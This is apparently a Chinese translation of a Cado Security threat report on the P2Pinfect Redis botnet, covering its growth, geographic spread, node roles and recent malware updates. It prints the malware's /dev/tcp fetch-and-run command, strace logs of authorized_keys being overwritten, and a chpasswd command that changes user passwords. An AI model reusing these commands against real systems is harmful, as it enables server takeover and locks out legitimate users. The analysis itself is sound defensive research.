要点
自 8 月 28 日以来,Cado 安全实验室研究人员发现 P2Pinfect 流量增加了 600 倍。
本博客发布前一周流量增加了 12.3%。
P2Pinfect 妥协已在中国、美国、德国、英国、新加坡、香港和日本被发现。
东亚和美国云服务提供商 (CSP) 的实例都被用作 P2Pinfect 对等点。
介绍
2023 年 7 月,Cado 安全实验室研究人员发现了P2Pinfect——一种新颖的点对点僵尸网络,目标是托管可公开访问的 Redis 实例的服务器。当时,从我们的分析中可以清楚地看出,该恶意软件正在积极开发中,而僵尸网络还处于起步阶段。
自 7 月以来,Cado 研究人员一直密切关注该恶意软件的扩散情况,注意到 P2Pinfect 导致的初始访问事件急剧增加。此外,该恶意软件的开发人员似乎正在迭代已部署有效负载的功能,以极其频繁的速度发布带有增量更新的新变体。目前,Cado 研究人员已经分析了 P2Pinfect 有效负载的四种变体。正如 P2Pinfect 首次发布时所指出的,该恶意软件包含自我更新机制,允许这些更新快速投入生产。
本博客将讨论 Cado 对僵尸网络本身的分析,自恶意软件被发现以来,僵尸网络呈指数增长,并将包括一个简要介绍 P2Pinfect Linux 变体的新功能的部分。
僵尸网络概述
撰写本文时的僵尸网络对等图
自 2023 年 7 月对 P2Pinfect 进行最初分析以来,针对 Cado 蜜罐基础设施的初始访问尝试明显增加。整个 8 月份,由 P2Pinfect 引起的观察到的事件数量每周都在稳步上升,然后整个 9 月份急剧增加。
在更详细地讨论数据之前,需要对术语进行一些澄清。就本博文而言,Cado 研究人员将“事件”定义为针对 Linux 云实例上托管的 Redis 部署的 P2Pinfect 初始访问尝试。这个初始访问向量在原始博客文章中进行了更详细的讨论,但可以总结如下:
1、恶意节点(由 Cado 研究人员指定Initial Access (IA) Sender)连接到目标并发出 RedisSLAVEOF命令以启用复制。
2、攻击者向目标传递恶意 Redis 模块,允许运行任意 shell 命令。
3、该模块用于在目标上执行以下命令:exec 6/dev/tcp// && echo -n ‘GET /linux’ >&6 && cat 0 /tmp/ && chmod +x /tmp/ && /tmp/
4、此命令利用/dev/tcp设备文件从指定的下载器节点(称为IA Downloader)检索主要有效负载,然后将其写入 /tmp 并使用僵尸网络对等点的编码列表执行它。请注意,这与 Cado 原始分析中观察到的命令略有不同。
5、攻击者执行另一个 shell 命令从磁盘中删除 Redis 模块,并通过SLAVEOF NO ONERedis 命令禁用复制。
初始访问命令示例
考虑到这一点,重要的是要考虑到本博客中报告的统计数据反映了 Redis 特定的行为,而这只是 P2Pinfect 功能的一半。该恶意软件还能够通过 SSH 传播,并包含用户名/密码对列表以协助 SSH 暴力破解。
因此,以下统计数据可能只是现实世界 P2Pinfect 活动的一小部分,旨在代表总体趋势。
僵尸网络的规模和组成
结合蜜罐遥测,Cado 安全实验室研究人员在对最新 P2Pinfect 变体进行动态分析时利用了常见的流量分析技术。由此,在发布时,219 个独特的节点被识别为 IA 发送者、IA 下载者、对等点或其某种组合。
值得重申的是,僵尸网络的实际规模可能要大得多,该数字代表与我们的蜜罐传感器或动态分析实例直接交互的节点。
在确定受到 P2Pinfect 攻击的 IP 中,绝大多数 (59.8%) 位于中国。这可能表明僵尸网络起源于该地区。然而,缺乏额外的证据来支持这一点。尽管 P2Pinfect 的活动高度集中在中国,但 P2Pinfect 似乎具有广泛的地理分布。
其次是中国,僵尸网络中 15% 的 IP 位于美国,另外 5% 位于德国,这表明该恶意软件的活动并不局限于亚太地区。P2Pinfect 在美国和欧洲都很成熟,对全球易受攻击的系统构成了可信的威胁。
对观察到的 IP 进行了额外分析,以发现有关其自治系统 (AS) 所有者的信息。绝大多数(35.3%)由亚太地区主要云提供商阿里巴巴杭州分公司拥有。Cado 研究人员之前在分析Abcbot僵尸网络时遇到过阿里巴巴实例,并且在蜜罐遥测中经常看到它们的 IP。
除阿里巴巴外,还有14.4%的IP属于腾讯深圳分公司。腾讯是该地区另一家主要的云提供商,因此其 IP 的存在并不令人意外。同样,他们的 IP 被视为 Abcbot 活动和其他类似的加密挖矿恶意软件活动的一部分,这些活动归因于WatchDog等组织。
在分析的所有 P2Pinfect IP 中,第三个最常见的 AS 所有者是亚马逊 (11.2%)。无论是从 P2Pinfect 的地理分布还是考虑 AWS 的责任共担模型来看,这一点都意义重大。Cado 的研究表明,许多 AWS 用户部署了容易受到 P2Pinfect 攻击的 Redis 或 SSH 服务器。然后,这些资源被用来进行初始访问、服务并将恶意软件传播到其他易受攻击的节点。
随着时间的推移跟踪 P2Pinfect
自 2023 年 8 月 24 日以来,Cado 研究人员在专用于监控 P2Pinfect 的单个蜜罐传感器上观察到了 4,064 个事件。在发现恶意软件时,代理的开发和僵尸网络本身都处于起步阶段。Cado 蜜罐在 8 月的大部分时间里发现了少量(大约每周 2 起)P2Pinfect 初始访问事件,到 9 月 3 日,这一数字稳步攀升至每周 6 起事件。
此后,P2Pinfect 活动迅速增加,仅在 9 月 12 日至 19 日这一周内就观察到了 3,619 个事件 – 增加了60216.7%!
P2Pinfect 流量的增加与野外发现的变体数量的增加同时发生,这表明该恶意软件的开发人员正在以极高的开发节奏进行操作。就在本博客发布前一周,Cado 研究人员发现 P2Pinfect 活动增加了 12.3%。从这一分析中可以得出的一个结论是,P2Pinfect 的开发人员既想迭代恶意软件的功能,又想扩大僵尸网络的规模。
节点角色
上一节提到,被识别为僵尸网络一部分的节点会被指定IA Sender或IA Downloader标记,具体取决于是否观察到它们的 IP 进行初始 Redis 攻击或通过/dev/tcp. 该称号的选择标准仍不清楚。
首次分析僵尸网络时,假设每个对等点都能够提供有效负载、扫描和进行初始访问。然而,在绘制观察到的节点之后,逻辑似乎比这更复杂。动态分析表明,感染成功后,每个节点都会对本地网络和互联网进行扫描,寻找暴露的Redis和SSH服务器,为进行初始访问做准备。
然而,当查看此活动的图表时,Cado 研究人员注意到,无论地理位置或任何其他明显的指标如何,一些同行都受到文件服务的青睐。预计网络健康指标(例如延迟、ping 和下载/上传速度)将被用来将这些对等点指定为僵尸网络内的可靠文件服务器。
在一种此类情况下, IA SenderIP 124[.]225[.]78[.]48 上的对等点将 9 个不同的对等点指定为IA Downloaders,这意味着这些对等点被用作文件服务器,以在初始访问成功后提供有效负载。如下图所示。
124[.]225[.]78[.]48 对等点优先进行初始访问
同样,IP 为 103[.]101[.]153[.]27(位于美国)的对等点在中国和日本被重新用作IA Downloaderby 7 不同的。IA Senders同样,下图中可以看到这样的示例。
其他适合文件服务的节点
P2Pinfect 增量更新
持久性注册
添加 Cron 持久性
P2Pinfect 的原始样本缺乏明显的持久性机制(即重新启动后仍然存在的机制),尽管它们相当复杂。
最近的 P2Pinfect 示例已更新,除了原始方法之外,还可以通过更传统的 cron 作业方法来注册持久性bash_logout。次要负载(bash), 负责此操作,它尝试向/etc/crontab和写入一个 cronjob /var/spool/cron/。
linuxcron 作业每隔 30 分钟启动一次主要有效负载 ( ),并传递一个编码参数,可能是 Unit42 的Windows 版本 P2Pinfect博客中引用的节点列表。
P2Pinfect 写入 /etc/crontab 的 cron 作业示例
通过额外负载自定义保活
除了通过 cron 注册持久性之外,最近的 P2Pinfect 变体还利用bash有效负载来保持主要有效负载的活动。bash主要有效负载通过AF_INET在 127.0.0.1(服务器的环回地址)上运行的套接字 与进程进行进程间通信 (IPC) 。
此通信中包含主有效负载本身的绝对路径,允许bash二进制文件监视此位置。如果主进程终止并且二进制文件被删除,bash将从对等方检索主二进制文件的副本并将其保存为/tmp/.raimi再次执行之前的状态。
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP) = 3
ioctl(3, FIONBIO, [1]) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(60114), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
ioctl(3, FIONBIO, [0]) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=3378, tv_nsec=542095403}) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=3378, tv_nsec=542163780}) = 0
poll([{fd=3, events=POLLOUT}], 1, 1999) = 1 ([{fd=3, revents=POLLOUT}])
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO_OLD, "2 ", 16) = 0
sendto(3, "a349PG0fT3H0tUsl", 16, MSG_NOSIGNAL, NULL, 0) = 16
recvfrom(3, "{"main_file":"/home/ubuntu/linux","enc_nodes":"9WH0yImZBg==","node":null,"pid":2288}", 1024, 0, NULL, NULL) = 84
recvfrom(3, "", 1024, 0, NULL, NULL) = 0
close(3)
显示主负载路径的示例套接字通信
更新的规避
Authorized_keys 覆盖
P2Pinfect 的最新版本使用攻击者控制的 SSH 密钥覆盖现有的 SSHauthorized_keys 文件。以前,他们只是将此密钥附加到文件中,而使现有密钥保持不变。虽然是一个很小的变化,但结合重新启动sshd服务,这可以防止用户通过 SSH 登录并删除恶意软件。
chmod("/home/ubuntu/.ssh", 0700) = 0
open("/home/ubuntu/.ssh/authorized_keys", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE|O_CLOEXEC, 0666) = 19
fcntl(19, F_SETFD, FD_CLOEXEC) = 0
write(19, "nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/2CmHl/eiVchVmng4TEPAxOnO+6R0Rb/W+zlwCR+/g3mHqsiadebQx4rd5Ru/2HnSIut2kxm9Pz4ycxMIP4tNqyeHGpXhngTHnCduUwDofkVwz"..., 753) = 753
close(19) = 0
stat("/home/ubuntu/.ssh/authorized_keys", {st_dev=makedev(0xca, 0x1), st_ino=258163, st_mode=S_IFREG|0600, st_nlink=1, st_uid=1000, st_gid=1000, st_blksize=4096, st_blocks=8, st_size=753, st_atime=1694100980 /* 2023-09-07T15:36:20.976374833+0000 */, st_atime_nsec=976374833, st_mtime=1694100980 /* 2023-09-07T15:36:20.976374833+0000 */, st_mtime_nsec=976374833, st_ctime=1694100980 /* 2023-09-07T15:36:20.976374833+0000 */, st_ctime_nsec=976374833}) = 0
chmod("/home/ubuntu/.ssh/authorized_keys", 0600) = 0
Strace 演示主要有效负载覆盖authorized_keys
用户密码修改
主要有效负载还会遍历系统上的所有用户,并尝试将其用户密码更改为前缀为Pa_ 7 个字母数字字符(例如Pa_13HKlak)的字符串。另一种变体使用密码,Pa_1LDYeAo,建议为每个构建生成一个新密码。该恶意软件利用 Linuxchpasswd 实用程序来实现此目的,表明开发人员希望在目标环境中获得 root 权限(否则该命令将失败)。
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
execve("/bin/bash", ["/bin/bash", "-c", "echo "ubuntu:Pa_1LDYeAo" | chpasswd;echo -e "Pa_1LDYeAo\nroot:Pa_1LDYeAo" | sudo -S chpasswd;echo -e "Pa_1LDYeAo\nnobody:Pa_1LDYeAo" | sudo -S chpassw"...]
brk(NULL) = 0x558941a56000
Strace 演示尝试更改密码
这与 Cado 分析的其他以 Redis 为重点的活动一致;数据存储的早期版本要求您以 root 身份运行它,从而允许攻击者在利用后继承超级用户权限。
僵尸网络配置
通常,对于僵尸网络恶意软件,开发人员会提供客户端配置文件,然后将其写入磁盘或在内存中更新。P2Pinfect 的早期变体中缺少此功能,但开发人员最近似乎已实现了此功能。
主要有效负载包括 C 结构体形式的配置,该配置在运行时加载到内存中并动态更新。该结构的著名成员包括:
local_net_ssh_dict
local_net_redis_dict
file_servers_online_check_delay_secs
BotnetConf 结构体的示例成员 (1)
BotnetConf 结构体成员示例 (2)
结论
很明显,P2Pinfect 的开发人员致力于维护和迭代其恶意负载的功能,同时快速扩展跨大陆和云提供商的僵尸网络。尽管如此,该恶意软件的主要目标仍不清楚。
最近的变体仍然试图检索minerCado 原始分析中描述的有效负载,但迄今为止尚未检测到加密挖矿的证据。自 7 月底最初发现以来,有效负载miner本身尚未更新,但僵尸网络代理在这段时间收到了多次更新。预计僵尸网络背后的人要么正在等待在miner有效负载中实现附加功能,要么打算将僵尸网络的访问权限出售给其他个人或团体。
IOCs
转载来源:https://www.cadosecurity.com/cado-security-labs-researchers-witness-a-600x-increase-in-p2pinfect-traffic/
图片来源网络侵权可联系删除